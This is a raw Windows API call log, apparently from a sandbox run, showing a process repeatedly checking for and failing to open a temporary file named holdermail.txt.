	[0089.018] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.018] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.018] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.019] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.019] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.019] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.020] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.020] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.020] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.020] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.020] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.020] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.020] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.021] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.021] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.021] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.021] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.021] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.021] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.022] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.022] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.022] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.022] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.023] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.023] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.023] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.023] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.024] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.024] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.024] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.024] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.024] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.025] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.025] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.025] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.025] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.025] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.025] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.025] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.026] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.026] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.026] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.026] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.026] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.026] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.027] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.027] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.027] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.027] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.027] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.028] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.028] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.028] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.029] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.029] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.029] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.029] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.029] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.029] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.030] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.030] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.030] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.030] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.030] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.030] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.030] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.032] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.032] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.032] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.032] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.033] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.033] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.033] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.033] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.034] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.034] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.034] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
